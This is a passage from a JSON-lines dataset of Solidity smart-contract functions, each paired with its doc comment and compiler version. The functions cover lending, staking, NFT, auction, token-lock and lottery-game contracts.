_strategy, uint256 _loss) internal {\n uint256 _currentDebt = strategy[_strategy].totalDebt;\n require(_currentDebt >= _loss, \"loss-too-high\");\n strategy[_strategy].totalLoss += _loss;\n strategy[_strategy].totalDebt -= _loss;\n totalDebt -= _loss;\n uint256 _deltaDebtRatio = _min((_loss * MAX_BPS) / totalValue(), strategy[_strategy].debtRatio);\n strategy[_strategy].debtRatio -= _deltaDebtRatio;\n totalDebtRatio -= _deltaDebtRatio;\n }", "version": "0.8.3"} {"comment": "/**\r\n * @dev Check whether every participant has deposited enough tokens for the swap to be confirmed.\r\n */", "function_code": "function _haveEveryoneDeposited() internal view returns(bool) {\r\n for (uint i = 0; i < participants.length; i++) {\r\n address token = tokenByParticipant[participants[i]];\r\n SwapOffer memory offer = offerByToken[token];\r\n\r\n if (offer.token.balanceOf(address(this)) < offer.tokensTotal) {\r\n return false;\r\n }\r\n }\r\n\r\n return true;\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * @dev Get percent of unlocked tokens\r\n */", "function_code": "function _getUnlockedTokensPercentage() internal view returns(uint256) {\r\n for (uint256 i = lockupStages.length; i > 0; i--) {\r\n LockupStage storage stage = lockupStages[i - 1];\r\n uint256 stageBecomesActiveAt = startLockupAt.add(stage.secondsSinceLockupStart);\r\n\r\n if (now < stageBecomesActiveAt) {\r\n continue;\r\n }\r\n\r\n return stage.unlockedTokensPercentage;\r\n }\r\n }", "version": "0.4.24"} {"comment": "/// @dev Allows to send a bid to the auction.", "function_code": "function bid()\r\n external\r\n payable\r\n isValidPayload\r\n timedTransitions\r\n atStage(Stages.AuctionStarted)\r\n returns (uint amount)\r\n {\r\n require(msg.value > 0);\r\n amount = msg.value;\r\n\r\n address payable receiver = _msgSender();\r\n\r\n // Prevent that more than 90% of tokens are sold. Only relevant if cap not reached.\r\n uint maxWei = maxTokenSold * calcTokenPrice() / 10**9 - totalReceived;\r\n uint maxWeiBasedOnTotalReceived = ceiling - totalReceived;\r\n if (maxWeiBasedOnTotalReceived < maxWei)\r\n maxWei = maxWeiBasedOnTotalReceived;\r\n\r\n // Only invest maximum possible amount.\r\n if (amount > maxWei) {\r\n amount = maxWei;\r\n // Send change back to receiver address.\r\n receiver.transfer(msg.value - amount);\r\n }\r\n\r\n // Forward funding to ether wallet\r\n (bool success,) = wallet.call.value(amount)(\"\");\r\n require(success);\r\n\r\n bids[receiver] += amount;\r\n totalReceived += amount;\r\n emit BidSubmission(receiver, amount);\r\n\r\n // Finalize auction when maxWei reached\r\n if (amount == maxWei)\r\n finalizeAuction();\r\n }", "version": "0.6.12"} {"comment": "/**\r\n * @notice Modify uint256 parameters\r\n * @param parameter Name of the parameter to modify\r\n * @param data New parameter value\r\n **/", "function_code": "function modifyParameters(bytes32 parameter, uint256 data) external isAuthorized {\r\n if (parameter == \"validityFlag\") {\r\n require(either(data == 1, data == 0), \"ConverterFeed/invalid-data\");\r\n validityFlag = data;\r\n } else if (parameter == \"scalingFactor\") {\r\n require(data > 0, \"ConverterFeed/invalid-data\");\r\n converterFeedScalingFactor = data;\r\n }\r\n else revert(\"ConverterFeed/modify-unrecognized-param\");\r\n emit ModifyParameters(parameter, data);\r\n }", "version": "0.6.7"} {"comment": "/// @notice Method for deploy new PiNFTTradable contract\n/// @param _name Name of NFT contract\n/// @param _symbol Symbol of NFT contract", "function_code": "function createNFTContract(string memory _name, string memory _symbol)\r\n external\r\n payable\r\n returns (address)\r\n {\r\n require(msg.value >= platformFee, \"Insufficient funds.\");\r\n (bool success,) = feeRecipient.call{value: msg.value}(\"\");\r\n require(success, \"Transfer failed\");\r\n\r\n PiNFTTradablePrivate nft = new PiNFTTradablePrivate(\r\n _name,\r\n _symbol,\r\n auction,\r\n marketplace,\r\n bundleMarketplace,\r\n mintFee,\r\n feeRecipient\r\n );\r\n exists[address(nft)] = true;\r\n nft.transferOwnership(_msgSender());\r\n emit ContractCreated(_msgSender(), address(nft));\r\n return address(nft);\r\n }", "version": "0.6.12"} {"comment": "/**\r\n * @notice Fetch the latest medianPrice and whether it is null or not\r\n **/", "function_code": "function getResultWithValidity() public view returns (uint256 value, bool valid) {\r\n (uint256 targetValue, bool targetValid) = targetFeed.getResultWithValidity();\r\n (uint256 denominationValue, bool denominationValid) = denominationFeed.getResultWithValidity();\r\n value = multiply(targetValue, denominationValue) / converterFeedScalingFactor;\r\n valid = both(\r\n both(targetValid, denominationValid),\r\n both(validityFlag == 1, value > 0)\r\n );\r\n }", "version": "0.6.7"} {"comment": "// ------------------------------------------------------------------------\n// internal function applies Deductions upon transfer function\n// ------------------------------------------------------------------------", "function_code": "function _transferAndBurn(address from, address to, uint tokens) internal {\r\n // calculate 1% of the tokens\r\n uint256 onePercentofTokens = _onePercent(tokens);\r\n \r\n // burn 1% of tokens\r\n _burn(from, onePercentofTokens);\r\n \r\n // transfer 1% to donation wallet\r\n _transfer(from, donation, onePercentofTokens);\r\n \r\n // distribute 1% to token holders\r\n _transfer(from, distribution, onePercentofTokens);\r\n\r\n // distribute 97% to recipient\r\n\t\t_transfer(from, to, tokens.sub(onePercentofTokens.mul(3)));\r\n }", "version": "0.5.11"} {"comment": "/// @notice Set or reaffirm the approved address for an NFT\n/// @dev The zero address indicates there is no approved address.\n/// @dev Throws unless `msg.sender` is the current NFT owner, or an authorized\n/// operator of the current owner.\n/// @param _approved The new approved NFT controller\n/// @param _tokenId The NFT to approve", "function_code": "function approve(address _approved, uint256 _tokenId) external{\r\n address owner = ownerOf(_tokenId);\r\n uint innerId = tokenId_to_innerId(_tokenId);\r\n\r\n require( owner == msg.sender //Require Sender Owns Token\r\n || AUTHORISED[owner][msg.sender] // or is approved for all.\r\n ,\"permission\");\r\n for(uint i = 0 ; i < 10; i++){\r\n emit Approval(owner, _approved, innerId*10 + i);\r\n }\r\n\r\n ALLOWANCE[innerId] = _approved;\r\n }", "version": "0.6.2"} {"comment": "/// @notice Transfer ownership of an NFT -- THE CALLER IS RESPONSIBLE\n/// TO CONFIRM THAT `_to` IS CAPABLE OF RECEIVING NFTS OR ELSE\n/// THEY MAY BE PERMANENTLY LOST\n/// @dev Throws unless `msg.sender` is the current owner, an authorized\n/// operator, or the approved address for this NFT. Throws if `_from` is\n/// not the current owner. Throws if `_to` is the zero address. Throws if\n/// `_tokenId` is not a valid NFT.\n/// @param _from The current owner of the NFT\n/// @param _to The new owner\n/// @param _tokenId The NFT to transfer", "function_code": "function transferFrom(address _from, address _to, uint256 _tokenId) public {\r\n\r\n uint innerId = tokenId_to_innerId(_tokenId);\r\n\r\n //Check Transferable\r\n //There is a token validity check in ownerOf\r\n address owner = ownerOf(_tokenId);\r\n\r\n require ( owner == msg.sender //Require sender owns token\r\n //Doing the two below manually instead of referring to the external methods saves gas\r\n || ALLOWANCE[innerId] == msg.sender //or is approved for this token\r\n || AUTHORISED[owner][msg.sender] //or is approved for all\r\n ,\"permission\");\r\n require(owner == _from,\"owner\");\r\n require(_to != address(0),\"zero\");\r\n\r\n\r\n for(uint i = 0 ; i < 10; i++){\r\n emit Transfer(_from, _to, innerId*10 + i);\r\n }\r\n\r\n OWNERS[innerId] =_to;\r\n\r\n BALANCES[_from] -= 10;\r\n BALANCES[_to] += 10;\r\n\r\n spread();\r\n\r\n //Reset approved if there is one\r\n if(ALLOWANCE[innerId] != address(0)){\r\n delete ALLOWANCE[innerId];\r\n }\r\n\r\n }", "version": "0.6.2"} {"comment": "/**\r\n * @notice Returns the current per-block supply interest rate for this aToken\r\n * @return The supply interest rate per block, scaled by 1e18\r\n */", "function_code": "function supplyRatePerBlock() external view returns (uint) {\r\n /* We calculate the supply rate:\r\n * underlying = totalSupply \u00d7 exchangeRate\r\n * borrowsPer = totalBorrows \u00f7 underlying\r\n * supplyRate = borrowRate \u00d7 (1-reserveFactor) \u00d7 borrowsPer\r\n */\r\n uint exchangeRateMantissa = exchangeRateStored();\r\n\r\n (uint e0, uint borrowRateMantissa) = interestRateModel.getBorrowRate(getCashPrior(), totalBorrows, totalReserves);\r\n require(e0 == 0, \"supplyRatePerBlock: calculating borrowRate failed\"); // semi-opaque\r\n\r\n (MathError e1, Exp memory underlying) = mulScalar(Exp({mantissa: exchangeRateMantissa}), totalSupply);\r\n require(e1 == MathError.NO_ERROR, \"supplyRatePerBlock: calculating underlying failed\");\r\n\r\n (MathError e2, Exp memory borrowsPer) = divScalarByExp(totalBorrows, underlying);\r\n require(e2 == MathError.NO_ERROR, \"supplyRatePerBlock: calculating borrowsPer failed\");\r\n\r\n (MathError e3, Exp memory oneMinusReserveFactor) = subExp(Exp({mantissa: mantissaOne}), Exp({mantissa: reserveFactorMantissa}));\r\n require(e3 == MathError.NO_ERROR, \"supplyRatePerBlock: calculating oneMinusReserveFactor failed\");\r\n\r\n (MathError e4, Exp memory supplyRate) = mulExp3(Exp({mantissa: borrowRateMantissa}), oneMinusReserveFactor, borrowsPer);\r\n require(e4 == MathError.NO_ERROR, \"supplyRatePerBlock: calculating supplyRate failed\");\r\n\r\n return supplyRate.mantissa;\r\n }", "version": "0.5.16"} {"comment": "/**\r\n * @notice Sender redeems aTokens in exchange for a specified amount of underlying asset\r\n * @dev Accrues interest whether or not the operation succeeds, unless reverted\r\n * @param redeemAmount The amount of underlying to redeem\r\n * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details)\r\n */", "function_code": "function redeemUnderlyingInternal(uint redeemAmount) internal nonReentrant returns (uint) {\r\n uint error = accrueInterest();\r\n if (error != uint(Error.NO_ERROR)) {\r\n // accrueInterest emits logs on errors, but we still want to log the fact that an attempted redeem failed\r\n return fail(Error(error), FailureInfo.REDEEM_ACCRUE_INTEREST_FAILED);\r\n }\r\n // redeemFresh emits redeem-specific logs on errors, so we don't need to\r\n return redeemFresh(msg.sender, 0, redeemAmount);\r\n }", "version": "0.5.16"} {"comment": "/**\r\n * @notice Sender repays their own borrow\r\n * @param repayAmount The amount to repay\r\n * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details)\r\n */", "function_code": "function repayBorrowInternal(uint repayAmount) internal nonReentrant returns (uint) {\r\n uint error = accrueInterest();\r\n if (error != uint(Error.NO_ERROR)) {\r\n // accrueInterest emits logs on errors, but we still want to log the fact that an attempted borrow failed\r\n return fail(Error(error), FailureInfo.REPAY_BORROW_ACCRUE_INTEREST_FAILED);\r\n }\r\n // repayBorrowFresh emits repay-borrow-specific logs on errors, so we don't need to\r\n return repayBorrowFresh(msg.sender, msg.sender, repayAmount);\r\n }", "version": "0.5.16"} {"comment": "/**\r\n * @notice The sender liquidates the borrowers collateral.\r\n * The collateral seized is transferred to the liquidator.\r\n * @param borrower The borrower of this aToken to be liquidated\r\n * @param aTokenCollateral The market in which to seize collateral from the borrower\r\n * @param repayAmount The amount of the underlying borrowed asset to repay\r\n * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details)\r\n */", "function_code": "function liquidateBorrowInternal(address borrower, uint repayAmount, AToken aTokenCollateral) internal nonReentrant returns (uint) {\r\n uint error = accrueInterest();\r\n if (error != uint(Error.NO_ERROR)) {\r\n // accrueInterest emits logs on errors, but we still want to log the fact that an attempted liquidation failed\r\n return fail(Error(error), FailureInfo.LIQUIDATE_ACCRUE_BORROW_INTEREST_FAILED);\r\n }\r\n\r\n error = aTokenCollateral.accrueInterest();\r\n if (error != uint(Error.NO_ERROR)) {\r\n // accrueInterest emits logs on errors, but we still want to log the fact that an attempted liquidation failed\r\n return fail(Error(error), FailureInfo.LIQUIDATE_ACCRUE_COLLATERAL_INTEREST_FAILED);\r\n }\r\n\r\n // liquidateBorrowFresh emits borrow-specific logs on errors, so we don't need to\r\n return liquidateBorrowFresh(msg.sender, borrower, repayAmount, aTokenCollateral);\r\n }", "version": "0.5.16"} {"comment": "// public mint", "function_code": "function mint(uint256 _mintAmount) public payable {\r\n require(!paused, \"the mint is paused\");\r\n uint256 supply = totalSupply();\r\n //require(_mintAmount > 0, \"need to mint at least 1 NFT\");\r\n require(supply + _mintAmount <= maxSupply, \"max NFT limit exceeded\");\r\n\r\n if (msg.sender != owner()) {\r\n require(addressMintedBalance[msg.sender] + _mintAmount <= nftPerAddressLimit, \"max NFT per address exceeded\");\r\n require(msg.value >= cost * _mintAmount, \"insufficient funds\");\r\n }\r\n \r\n for (uint256 i = 1; i <= _mintAmount; i++) {\r\n addressMintedBalance[msg.sender]++;\r\n _safeMint(msg.sender, supply + i);\r\n }\r\n }", "version": "0.8.7"} {"comment": "/**\r\n * @dev emergency buy uses last stored affiliate ID\r\n */", "function_code": "function()\r\n isActivated()\r\n isHuman()\r\n isWithinLimits(msg.value)\r\n isGameStart()\r\n payable\r\n external\r\n {\r\n // determine if sniper is new or not\r\n determineSID();\r\n \r\n // fetch sniper id\r\n uint256 _sID = sIDxAddr_[msg.sender];\r\n \r\n // buy core \r\n buyCore(_sID, spr_[_sID].laff);\r\n }", "version": "0.4.25"} {"comment": "/**\r\n * @dev withdraws all of your earnings.\r\n * -functionhash- \r\n */", "function_code": "function withdraw()\r\n public\r\n isActivated()\r\n isHuman()\r\n {\r\n // grab time\r\n uint256 _now = now;\r\n \r\n // fetch player ID\r\n uint256 _sID = sIDxAddr_[msg.sender];\r\n \r\n\r\n // get their earnings\r\n uint256 _eth = withdrawEarnings(_sID);\r\n \r\n // gib moni\r\n if (_eth > 0)\r\n spr_[_sID].addr.transfer(_eth);\r\n \r\n // fire withdraw event\r\n emit SPBevents.onWithdraw(_sID, msg.sender, _eth, _now);\r\n \r\n }", "version": "0.4.25"} {"comment": "/**\r\n * @dev logic runs whenever a buy order is executed.\r\n */", "function_code": "function buyCore(uint256 _sID, uint256 _affID)\r\n private\r\n {\r\n uint256 _rID = rID_;\r\n \r\n //If the sniper does not enter the game through the affiliate, then 10% is paid to the team, \r\n //otherwise, paid to the affiliate.\r\n\r\n if(_affID == 0 && spr_[_sID].laff == 0) {\r\n emit onAffiliatePayout(4, _rID, _sID, msg.value, now);\r\n core(_rID, _sID, msg.value, 4);\r\n }else{\r\n emit onAffiliatePayout(_affID, _rID, _sID, msg.value, now);\r\n core(_rID, _sID, msg.value, _affID);\r\n }\r\n\r\n }", "version": "0.4.25"} {"comment": "/**\r\n * @dev this is the core logic for any buy that happens.\r\n */", "function_code": "function core(uint256 _rID, uint256 _sID, uint256 _eth, uint256 _affID)\r\n private\r\n {\r\n uint256 _now = block.timestamp;\r\n\r\n uint256 _value = _eth;\r\n uint256 _laffRearwd = _value / 10;\r\n \r\n //affiliate sniper\r\n spr_[_affID].aff = spr_[_affID].aff.add(_laffRearwd);\r\n \r\n //set sniper last affiliate id;\r\n spr_[_sID].laff = _affID;\r\n spr_[_sID].lplyt = _now;\r\n\r\n _value = _value.sub(_laffRearwd);\r\n\r\n uint256 _rndFireNum = generateRandom();\r\n \r\n emit onEndTx(_sID, _eth, _rndFireNum, _affID, _now);\r\n \r\n round_[_rID].ltime = _now;\r\n\r\n bool _isBingoLp = false;\r\n bool _isBingoKp = false;\r\n\r\n if(globalArr_.length != 0){\r\n if(globalArr_.length == 1)\r\n {\r\n globalArrEqualOne(_rID, _sID, _value, _rndFireNum);\r\n }else{\r\n globalArrNotEqualOne(_rID, _sID, _value, _rndFireNum);\r\n }\r\n }else{\r\n\r\n globalArrEqualZero(_rID, _sID, _value, _rndFireNum);\r\n \r\n }\r\n _isBingoLp = calcBingoLuckyPot(_rndFireNum);\r\n \r\n //bingo luckypot\r\n if(_isBingoLp){\r\n spr_[_sID].win = spr_[_sID].win.add(round_[_rID].lpot);\r\n round_[_rID].lpot = 0;\r\n emit onCheckLuckypot(_rndFireNum, _rID, spr_[_sID].addr, block.timestamp);\r\n }\r\n\r\n //bingo kingpot\r\n if(_eth >= 500000000000000000){\r\n _isBingoKp = calcBingoAirdropPot(_rndFireNum);\r\n \r\n if(_isBingoKp){\r\n spr_[_sID].win = spr_[_sID].win.add(round_[_rID].apot);\r\n round_[_rID].apot = 0;\r\n emit onCheckKingpot(_rndFireNum, spr_[_sID].addr, _rID, block.timestamp);\r\n }\r\n }\r\n \r\n //win mainpot\r\n checkWinMainPot(_rID, _sID, _rndFireNum);\r\n \r\n //surprise mother fuck\r\n autoDrawWithOEZDay();\r\n }", "version": "0.4.25"} {"comment": "/**\r\n * @dev gets existing or registers new sID. use this when a sniper may be new\r\n * @return sID \r\n */", "function_code": "function determineSID()\r\n private\r\n {\r\n uint256 _sID = sIDxAddr_[msg.sender];\r\n // if sniper is new to this version of H1M\r\n if (_sID == 0)\r\n {\r\n // grab their sniper ID, name and last aff ID, from sniper names contract \r\n _sID = SniperBook.getSniperID(msg.sender);\r\n lastSID_ = _sID;\r\n bytes32 _name = SniperBook.getSniperName(_sID);\r\n uint256 _laff = SniperBook.getSniperLAff(_sID);\r\n \r\n // set up sniper account \r\n sIDxAddr_[msg.sender] = _sID;\r\n spr_[_sID].addr = msg.sender;\r\n \r\n if (_name != \"\")\r\n {\r\n sIDxName_[_name] = _sID;\r\n spr_[_sID].name = _name;\r\n sprNames_[_sID][_name] = true;\r\n }\r\n \r\n if (_laff != 0 && _laff != _sID)\r\n spr_[_sID].laff = _laff;\r\n \r\n }\r\n }", "version": "0.4.25"} {"comment": "/// @dev Sum vector\n/// @param self Storage array containing uint256 type variables\n/// @return sum The sum of all elements, does not check for overflow", "function_code": "function sumElements(uint256[] storage self) public view returns(uint256 sum) {\r\n assembly {\r\n mstore(0x60,self_slot)\r\n\r\n for { let i := 0 } lt(i, sload(self_slot)) { i := add(i, 1) } {\r\n sum := add(sload(add(sha3(0x60,0x20),i)),sum)\r\n }\r\n }\r\n }", "version": "0.4.25"} {"comment": "/// @dev Returns the max value in an array.\n/// @param self Storage array containing uint256 type variables\n/// @return maxValue The highest value in the array", "function_code": "function getMax(uint256[] storage self) public view returns(uint256 maxValue) {\r\n assembly {\r\n mstore(0x60,self_slot)\r\n maxValue := sload(sha3(0x60,0x20))\r\n\r\n for { let i := 0 } lt(i, sload(self_slot)) { i := add(i, 1) } {\r\n switch gt(sload(add(sha3(0x60,0x20),i)), maxValue)\r\n case 1 {\r\n maxValue := sload(add(sha3(0x60,0x20),i))\r\n }\r\n }\r\n }\r\n }", "version": "0.4.25"} {"comment": "/// @dev Returns the minimum value in an array.\n/// @param self Storage array containing uint256 type variables\n/// @return minValue The highest value in the array", "function_code": "function getMin(uint256[] storage self) public view returns(uint256 minValue) {\r\n assembly {\r\n mstore(0x60,self_slot)\r\n minValue := sload(sha3(0x60,0x20))\r\n\r\n for { let i := 0 } lt(i, sload(self_slot)) { i := add(i, 1) } {\r\n switch gt(sload(add(sha3(0x60,0x20),i)), minValue)\r\n case 0 {\r\n minValue := sload(add(sha3(0x60,0x20),i))\r\n }\r\n }\r\n }\r\n }", "version": "0.4.25"} {"comment": "/// @dev Finds the index of a given value in an array\n/// @param self Storage array containing uint256 type variables\n/// @param value The value to search for\n/// @param isSorted True if the array is sorted, false otherwise\n/// @return found True if the value was found, false otherwise\n/// @return index The index of the given value, returns 0 if found is false", "function_code": "function indexOf(uint256[] storage self, uint256 value, bool isSorted)\r\n public\r\n view\r\n returns(bool found, uint256 index) {\r\n assembly{\r\n mstore(0x60,self_slot)\r\n switch isSorted\r\n case 1 {\r\n let high := sub(sload(self_slot),1)\r\n let mid := 0\r\n let low := 0\r\n for { } iszero(gt(low, high)) { } {\r\n mid := div(add(low,high),2)\r\n\r\n switch lt(sload(add(sha3(0x60,0x20),mid)),value)\r\n case 1 {\r\n low := add(mid,1)\r\n }\r\n case 0 {\r\n switch gt(sload(add(sha3(0x60,0x20),mid)),value)\r\n case 1 {\r\n high := sub(mid,1)\r\n }\r\n case 0 {\r\n found := 1\r\n index := mid\r\n low := add(high,1)\r\n }\r\n }\r\n }\r\n }\r\n case 0 {\r\n for { let low := 0 } lt(low, sload(self_slot)) { low := add(low, 1) } {\r\n switch eq(sload(add(sha3(0x60,0x20),low)), value)\r\n case 1 {\r\n found := 1\r\n index := low\r\n low := sload(self_slot)\r\n }\r\n }\r\n }\r\n }\r\n }", "version": "0.4.25"} {"comment": "/// @dev Removes duplicates from a given array.\n/// @param self Storage array containing uint256 type variables", "function_code": "function uniq(uint256[] storage self) public returns (uint256 length) {\r\n bool contains;\r\n uint256 index;\r\n\r\n for (uint256 i = 0; i < self.length; i++) {\r\n (contains, index) = indexOf(self, self[i], false);\r\n\r\n if (i > index) {\r\n for (uint256 j = i; j < self.length - 1; j++){\r\n self[j] = self[j + 1];\r\n }\r\n\r\n delete self[self.length - 1];\r\n self.length--;\r\n i--;\r\n }\r\n }\r\n\r\n length = self.length;\r\n }", "version": "0.4.25"} {"comment": "/// @notice Creates an edition by deploying a new proxy.", "function_code": "function createEdition(\n AllocatedEditionsStorage.NFTMetadata memory metadata,\n AllocatedEditionsStorage.EditionData memory editionData,\n AllocatedEditionsStorage.AdminData memory adminData\n ) external returns (address allocatedEditionsProxy) {\n require(\n adminData.feePercentage >= minFeePercentage,\n \"fee is too low\"\n );\n\n require(editionData.allocation < editionData.quantity, \"allocation must be less than quantity\");\n\n parameters = Parameters({\n // NFT Metadata\n nftMetaData: abi.encode(\n metadata.name,\n metadata.symbol,\n baseURI,\n metadata.contentHash\n ),\n // Edition Data\n allocation: editionData.allocation,\n quantity: editionData.quantity,\n price: editionData.price,\n // Admin Data\n adminData: abi.encode(\n adminData.operator,\n adminData.tributary,\n adminData.fundingRecipient,\n adminData.feePercentage,\n treasuryConfig\n )\n });\n\n // deploys proxy\n allocatedEditionsProxy = address(\n new AllocatedEditionsProxy{\n salt: keccak256(abi.encode(metadata.symbol, adminData.operator))\n }(adminData.operator, proxyRegistry)\n );\n\n delete parameters;\n\n emit AllocatedEditionDeployed(\n allocatedEditionsProxy,\n metadata.name,\n metadata.symbol,\n adminData.operator\n );\n\n ITributaryRegistry(tributaryRegistry).registerTributary(\n allocatedEditionsProxy,\n adminData.tributary\n );\n }", "version": "0.8.6"} {"comment": "/**\n * @dev Exclude `account` from receiving 1-2% transaction fee redistribution via auto-staking.\n *\n * Can be used to exclude technical addresses, such as exchange hot wallets.\n * Can be called by the contract owner.\n */", "function_code": "function excludeAccount(address account) public virtual onlyOwner {\n require(!_isExcluded[account], \"Account is already excluded\");\n\n uint256 eBalance = _balances[account] / _rate;\n _excludedBalances[account] += eBalance;\n _balances[account] = 0;\n _isExcluded[account] = true;\n _emissionExcluded += eBalance;\n _emissionIncluded -= eBalance;\n }", "version": "0.8.4"} {"comment": "/**\n * @dev Includes `accounts` back for receiving 1-2% transaction fee redistribution via auto-staking.\n *\n * Can be called by the contract owner.\n */", "function_code": "function includeAccount(address account) public virtual onlyOwner {\n require(_isExcluded[account], \"Account is already included\");\n\n uint256 eBalance = _excludedBalances[account];\n _excludedBalances[account] = 0;\n _balances[account] = eBalance * _rate;\n _isExcluded[account] = false;\n _emissionExcluded -= eBalance;\n _emissionIncluded += eBalance;\n }", "version": "0.8.4"} {"comment": "/**\n * @param _referral referral.\n */", "function_code": "function stake(address _referral) external payable {\n require(msg.value > 0, \"amount cannot be 0\");\n \n if (pool[msg.sender].amount > 0) {\n pool[msg.sender].reward = getTotalReward(msg.sender);\n } else {\n _addStaker(msg.sender);\n }\n\n pool[msg.sender].startDate = now;\n pool[msg.sender].amount = pool[msg.sender].amount.add(msg.value);\n\n totalStaked = totalStaked.add(msg.value);\n\n if (referrals[msg.sender] == address(0)) {\n referrals[msg.sender] = _referral;\n }\n\n emit Staked(msg.sender, msg.value, pool[msg.sender].amount);\n }", "version": "0.6.12"} {"comment": "/**\n * @dev eth and tokens withdrawing\n */", "function_code": "function withdraw() external {\n require(pool[msg.sender].amount > 0, \"insufficient funds\");\n\n uint256 ethAmount = pool[msg.sender].amount;\n uint256 reward = getTotalReward(msg.sender);\n\n water.mint(address(this), reward.add(reward.div(referralPercentage)));\n\n totalStaked = totalStaked.sub(ethAmount);\n pool[msg.sender].amount = 0;\n pool[msg.sender].startDate = 0;\n pool[msg.sender].reward = 0;\n\n uint256 fees = ethAmount.div(feePercentage);\n msg.sender.transfer(ethAmount.sub(fees));\n beneficiary.transfer(fees);\n\n water.transfer(msg.sender, reward);\n if (referrals[msg.sender] != msg.sender) {\n water.transfer(referrals[msg.sender], reward.div(referralPercentage));\n }\n\n _deactivateUser(msg.sender);\n\n emit Withdrawn(msg.sender, ethAmount, reward);\n }", "version": "0.6.12"} {"comment": "/**\n * @dev activate next staking Phase\n */", "function_code": "function activateNextPhase() public onlyOwner {\n for (uint256 i = 0; i < phases.length; i++) {\n if (phases[i].isActive) {\n phases[i].isActive = false;\n\n if (i < phases.length - 1) {\n phases[i + 1].isActive = true;\n phases[i + 1].startDate = now;\n\n emit PhaseActivated(getCurrentPhaseStartDate(), getCurrentPhaseRate());\n break;\n } else {\n stakingFinishDate = now;\n }\n }\n }\n }", "version": "0.6.12"} {"comment": "/**\n * @param _user address of user to add to the list\n * @return Returns user's total calculated reward.\n */", "function_code": "function getTotalReward(address _user) public view returns (uint256) {\n if (getStakeAmount(_user) == 0) {\n return 0;\n }\n \n uint256 totalReward = 0;\n uint256 dateFrom = stakingFinishDate != 0 ? stakingFinishDate : now;\n for (uint256 i = phases.length - 1; i >= 0; i--) {\n if (phases[i].startDate != 0) {\n bool firstUserPhase = pool[_user].startDate >= phases[i].startDate;\n uint256 dateTo = firstUserPhase ? pool[_user].startDate : phases[i].startDate;\n uint256 hoursStaked = (dateFrom.sub(dateTo)).div(3600);\n uint256 reward = getStakeAmount(_user).mul(phases[i].rate).mul(hoursStaked);\n totalReward = totalReward.add(reward);\n \n if (firstUserPhase) {\n break;\n }\n\n dateFrom = phases[i].startDate;\n }\n }\n\n return totalReward.add(pool[_user].reward);\n }", "version": "0.6.12"} {"comment": "/// @notice `msg.sender` approves `_spender` to send `_amount` tokens on\n/// its behalf, and then a function is triggered in the contract that is\n/// being approved, `_spender`. This allows users to use their tokens to\n/// interact with contracts in one function call instead of two\n/// @param _spender The address of the contract able to transfer the tokens\n/// @param _amount The amount of tokens to be approved for transfer\n/// @return True if the function call was successful", "function_code": "function approveAndCall(address _spender, uint256 _amount, bytes _extraData\r\n ) returns (bool success) {\r\n if (!approve(_spender, _amount)) throw;\r\n\r\n // This portion is copied from ConsenSys's Standard Token Contract. It\r\n // calls the receiveApproval function that is part of the contract that\r\n // is being approved (`_spender`). The function should look like:\r\n // `receiveApproval(address _from, uint256 _amount, address\r\n // _tokenContract, bytes _extraData)` It is assumed that the call\r\n // *should* succeed, otherwise the plain vanilla approve would be used\r\n ApproveAndCallReceiver(_spender).receiveApproval(\r\n msg.sender,\r\n _amount,\r\n this,\r\n _extraData\r\n );\r\n\r\n return true;\r\n }", "version": "0.4.11"} {"comment": "//human 0.1 standard. Just an arbitrary versioning scheme.\n//\n// CUSTOM AREA\n// Token name should be same as above contract", "function_code": "function eECToken(\r\n ) {\r\n balances[msg.sender] = 140000000000000000000000000; // Give the creator all initial tokens (100000 for example)\r\n totalSupply = 140000000000000000000000000; // Update total supply (100000 for example)\r\n name = \"eEthereum Classic\"; // Set the name for display purposes\r\n decimals = 18; // Amount of decimals for display purposes\r\n symbol = \"EEC\"; // Set the symbol for display purposes\r\n }", "version": "0.4.18"} {"comment": "// Issue tokens to investors and transfer ether to wallet", "function_code": "function issueTokens(uint256 _price, uint _state) private {\r\n require(walletAddress != address(0));\r\n\t\t\r\n uint tokenAmount = msg.value.mul(_price).mul(10**18).div(1 ether);\r\n balances[msg.sender] = balances[msg.sender].add(tokenAmount);\r\n totalInvestedAmountOf[msg.sender] = totalInvestedAmountOf[msg.sender].add(msg.value);\r\n totalRemainingTokensForSales = totalRemainingTokensForSales.sub(tokenAmount);\r\n totalInvestedAmount = totalInvestedAmount.add(msg.value);\r\n walletAddress.transfer(msg.value);\r\n emit IssueTokens(msg.sender, msg.value, tokenAmount, _state);\r\n }", "version": "0.4.21"} {"comment": "// function lockToGov() public onlyOwner {\n// _transfer(_owner, swapGovContract, MINEREWARD); // transfer/freeze to swapGovContract\n// lockedAmount = lockedAmount.add(MINEREWARD);\n// }", "function_code": "function lock(address _account, uint256 _amount, uint256 _type) public onlyOwner {\r\n require(_account != address(0), \"Cannot transfer to the zero address\");\r\n require(lockedUser[_account].lockedAmount == 0, \"exist locked token\");\r\n require(_account != swapGovContract, \"equal to swapGovContract\");\r\n lockedUser[_account].initLock = _amount;\r\n lockedUser[_account].lockedAmount = _amount;\r\n lockedUser[_account].lastUnlockTs = block.timestamp;\r\n lockedUser[_account].releaseType = _type;\r\n _balances[_msgSender()] = _balances[_msgSender()].sub(_amount);\r\n _balances[_account] = _balances[_account].add(_amount);\r\n emit Lock(_account, block.timestamp, _amount, _type);\r\n emit Transfer(_msgSender(), _account, _amount);\r\n }", "version": "0.6.12"} {"comment": "/**\r\n * @dev Transfer tokens to multiple addresses.\r\n */", "function_code": "function batchTransfer(address[] memory addressList, uint256[] memory amountList) public onlyOwner returns (bool) {\r\n uint256 length = addressList.length;\r\n require(addressList.length == amountList.length, \"Inconsistent array length\");\r\n require(length > 0 && length <= 150, \"Invalid number of transfer objects\");\r\n uint256 amount;\r\n for (uint256 i = 0; i < length; i++) {\r\n require(amountList[i] > 0, \"The transfer amount cannot be 0\");\r\n require(addressList[i] != address(0), \"Cannot transfer to the zero address\");\r\n require(!isBlackListed(addressList[i]));\r\n amount = amount.add(amountList[i]);\r\n _balances[addressList[i]] = _balances[addressList[i]].add(amountList[i]);\r\n emit Transfer(_msgSender(), addressList[i], amountList[i]);\r\n }\r\n require(_balances[_msgSender()] >= amount, \"Not enough tokens to transfer\");\r\n _balances[_msgSender()] = _balances[_msgSender()].sub(amount);\r\n return true;\r\n }", "version": "0.6.12"} {"comment": "// Note: this could be made external in a utility contract if addressCache was made public\n// (used for deployment)", "function_code": "function isResolverCached(AddressResolver 